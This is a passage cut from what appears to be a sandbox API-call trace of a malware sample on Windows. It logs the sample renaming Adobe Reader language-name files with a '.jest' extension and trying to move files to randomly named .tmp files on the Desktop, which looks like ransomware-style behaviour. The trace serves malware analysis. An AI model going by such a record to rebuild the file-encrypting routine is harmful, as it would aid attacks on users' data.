lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_HN.txt", lpUsedDefaultChar=0x0) returned 108 [0150.872] VarBstrFromR4 (in: fltIn=0x47945047, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.55") returned 0x0 [0150.873] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.873] CoFreeUnusedLibraries () [0150.873] GetTickCount () returned 0x11577cf [0150.873] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.873] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.873] GetTickCount () returned 0x11577cf [0150.873] IsWindowVisible (hWnd=0x30268) returned 0 [0150.873] Sleep (dwMilliseconds=0x0) [0150.874] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_HN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_hn.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x4dtMKF7Vx0HGPHw9MPwDEUvOyx0f8jCwLImFDg64Xs4QZD-l5yexyYYRwVkGVe4IpLR4WgZrT6kxPBLL4xZyY7l_S3iDg6fN9pju.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x4dtmkf7vx0hgphw9mpwdeuvoyx0f8jcwlimfdg64xs4qzd-l5yexyyyrwvkgve4iplr4wgzrt6kxpbll4xzyy7l_s3idg6fn9pju.tmp")) returned 0 [0150.874] GetLastError () returned 0x2 [0150.875] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.875] CoFreeUnusedLibraries () [0150.875] GetTickCount () returned 0x11577cf [0150.875] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.875] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.875] GetTickCount () returned 0x11577cf [0150.875] IsWindowVisible (hWnd=0x30268) returned 0 [0150.875] Sleep (dwMilliseconds=0x0) [0150.876] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_GT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_gt.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_GT.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_gt.txt.jest")) returned 1 [0150.877] GetLastError () returned 0x0 [0150.877] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䝟⹔硴t") returned 0x6b [0150.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.877] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䝟⹔硴t") returned 0x6b [0150.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=108, lpWideCharStr=0x144ddec, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_GT.txt") returned 108 [0150.877] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䝟⹔硴⹴敪瑳") returned 0x70 [0150.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.877] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䝟⹔硴⹴敪瑳") returned 0x70 [0150.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=113, lpWideCharStr=0x144eaec, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_GT.txt.jest") returned 113 [0150.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_GT.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_GT.txt", lpUsedDefaultChar=0x0) returned 108 [0150.878] VarBstrFromR4 (in: fltIn=0x47945049, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.57") returned 0x0 [0150.878] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.878] CoFreeUnusedLibraries () [0150.878] GetTickCount () returned 0x11577df [0150.878] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.878] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.878] GetTickCount () returned 0x11577df [0150.878] IsWindowVisible (hWnd=0x30268) returned 0 [0150.878] Sleep (dwMilliseconds=0x0) [0150.879] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_GT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_gt.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uhg4-DhH3FPK8o8307JLHW2mE3XC2biuxxqI2a xGrrPiPvRzvFD8No0M3WtwAZ4nR-i29qsVTJFIR2Uphiio99ef7Am6M4rK72a.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uhg4-dhh3fpk8o8307jlhw2me3xc2biuxxqi2a xgrrpipvrzvfd8no0m3wtwaz4nr-i29qsvtjfir2uphiio99ef7am6m4rk72a.tmp")) returned 0 [0150.879] GetLastError () returned 0x2 [0150.880] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.880] CoFreeUnusedLibraries () [0150.880] GetTickCount () returned 0x11577df [0150.880] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.880] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.880] GetTickCount () returned 0x11577df [0150.880] IsWindowVisible (hWnd=0x30268) returned 0 [0150.880] Sleep (dwMilliseconds=0x0) [0150.881] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES_PREEURO.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es_preeuro.txt.jest")) returned 1 [0150.882] GetLastError () returned 0x0 [0150.882] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䕟当剐䕅剕⹏硴t") returned 0x73 [0150.882] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=115, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 115 [0150.882] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䕟当剐䕅剕⹏硴t") returned 0x73 [0150.882] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=116, lpWideCharStr=0x144eaec, cchWideChar=231 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES_PREEURO.txt") returned 116 [0150.882] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䕟当剐䕅剕⹏硴⹴敪瑳") returned 0x78 [0150.882] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=120, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 120 [0150.882] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䕟当剐䕅剕⹏硴⹴敪瑳") returned 0x78 [0150.882] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=121, lpWideCharStr=0x1445ffc, cchWideChar=241 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES_PREEURO.txt.jest") returned 121 [0150.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES_PREEURO.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES_PREEURO.txt", lpUsedDefaultChar=0x0) returned 116 [0150.883] VarBstrFromR4 (in: fltIn=0x47945049, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.57") returned 0x0 [0150.883] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.883] CoFreeUnusedLibraries () [0150.883] GetTickCount () returned 0x11577df [0150.883] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.883] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.883] GetTickCount () returned 0x11577df [0150.884] IsWindowVisible (hWnd=0x30268) returned 0 [0150.884] Sleep (dwMilliseconds=0x0) [0150.884] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es_preeuro.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IPOsv YPv4Dq-x6XKDvq6hfcMsAEwH-fjw0YE31eBBoQ9Z8MQ2P9UGsMzX0QYosubwNzLIMzVnx8sTLNmHClMEKIPi2LQXzkwlgVw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iposv ypv4dq-x6xkdvq6hfcmsaewh-fjw0ye31ebboq9z8mq2p9ugsmzx0qyosubwnzlimzvnx8stlnmhclmekipi2lqxzkwlgvw.tmp")) returned 0 [0150.885] GetLastError () returned 0x2 [0150.885] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.885] CoFreeUnusedLibraries () [0150.885] GetTickCount () returned 0x11577df [0150.885] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.885] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.885] GetTickCount () returned 0x11577df [0150.885] IsWindowVisible (hWnd=0x30268) returned 0 [0150.885] Sleep (dwMilliseconds=0x0) [0150.886] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_EC.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ec.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_EC.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ec.txt.jest")) returned 1 [0150.887] GetLastError () returned 0x0 [0150.887] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䕟⹃硴t") returned 0x6b [0150.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.887] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䕟⹃硴t") returned 0x6b [0150.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=108, lpWideCharStr=0x1445ffc, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_EC.txt") returned 108 [0150.887] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䕟⹃硴⹴敪瑳") returned 0x70 [0150.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.887] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䕟⹃硴⹴敪瑳") returned 0x70 [0150.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=113, lpWideCharStr=0x14cf144, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_EC.txt.jest") returned 113 [0150.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_EC.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_EC.txt", lpUsedDefaultChar=0x0) returned 108 [0150.888] VarBstrFromR4 (in: fltIn=0x47945049, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.57") returned 0x0 [0150.888] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.888] CoFreeUnusedLibraries () [0150.888] GetTickCount () returned 0x11577df [0150.888] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.888] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.888] GetTickCount () returned 0x11577df [0150.889] IsWindowVisible (hWnd=0x30268) returned 0 [0150.889] Sleep (dwMilliseconds=0x0) [0150.890] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_EC.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ec.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f3ZLEqWD13fH4L9D6C4zBQ2TYpC7gweaUwoxQ 4Xz9zBgdEzcMVrMANuKSgYoMt-U3D 9J2-gvaN6pfQ2DA78zmoxeK0YadJ03vIA.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f3zleqwd13fh4l9d6c4zbq2typc7gweauwoxq 4xz9zbgdezcmvrmanuksgyomt-u3d 9j2-gvan6pfq2da78zmoxek0yadj03via.tmp")) returned 0 [0150.890] GetLastError () returned 0x2 [0150.891] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.891] CoFreeUnusedLibraries () [0150.891] GetTickCount () returned 0x11577df [0150.891] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.891] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.891] GetTickCount () returned 0x11577df [0150.891] IsWindowVisible (hWnd=0x30268) returned 0 [0150.891] Sleep (dwMilliseconds=0x0) [0150.891] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_DO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_do.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_DO.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_do.txt.jest")) returned 1 [0150.892] GetLastError () returned 0x0 [0150.892] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䑟⹏硴t") returned 0x6b [0150.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.892] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䑟⹏硴t") returned 0x6b [0150.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=108, lpWideCharStr=0x14cf144, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_DO.txt") returned 108 [0150.893] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䑟⹏硴⹴敪瑳") returned 0x70 [0150.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.893] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䑟⹏硴⹴敪瑳") returned 0x70 [0150.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=113, lpWideCharStr=0x146c82c, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_DO.txt.jest") returned 113 [0150.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_DO.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_DO.txt", lpUsedDefaultChar=0x0) returned 108 [0150.893] VarBstrFromR4 (in: fltIn=0x4794504b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.59") returned 0x0 [0150.894] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.894] CoFreeUnusedLibraries () [0150.894] GetTickCount () returned 0x11577ee [0150.894] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.894] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.894] GetTickCount () returned 0x11577ee [0150.894] IsWindowVisible (hWnd=0x30268) returned 0 [0150.894] Sleep (dwMilliseconds=0x0) [0150.895] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_DO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_do.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hxJykPU5hCx1uoZDH8vzZCUXgJTmZXZKXCjTQZjjdkddMf1MApbSYIZBbH ReTUfDeK2RzeOhxHMm0gG9keQt4 nx VqbtJIrSiVn.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hxjykpu5hcx1uozdh8vzzcuxgjtmzxzkxcjtqzjjdkddmf1mapbsyizbbh retufdek2rzeohxhmm0gg9keqt4 nx vqbtjirsivn.tmp")) returned 0 [0150.895] GetLastError () returned 0x2 [0150.896] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.896] CoFreeUnusedLibraries () [0150.896] GetTickCount () returned 0x11577ee [0150.896] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.896] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.896] GetTickCount () returned 0x11577ee [0150.896] IsWindowVisible (hWnd=0x30268) returned 0 [0150.896] Sleep (dwMilliseconds=0x0) [0150.896] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CR.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cr.txt.jest")) returned 1 [0150.897] GetLastError () returned 0x0 [0150.897] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䍟⹒硴t") returned 0x6b [0150.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.897] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䍟⹒硴t") returned 0x6b [0150.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=108, lpWideCharStr=0x146c82c, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CR.txt") returned 108 [0150.898] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䍟⹒硴⹴敪瑳") returned 0x70 [0150.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.898] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䍟⹒硴⹴敪瑳") returned 0x70 [0150.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=113, lpWideCharStr=0x144ebf4, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 